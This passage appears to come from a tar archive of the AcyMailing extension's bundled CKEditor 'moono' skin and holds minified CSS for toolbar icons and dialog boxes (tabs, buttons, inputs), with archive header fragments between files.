.cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog.css000060400000036654152455305310026327 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog_opera.css000060400000036742152455305310027513 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_browser_gecko19 .cke_dialog_body{position:relative}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:0 0;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl 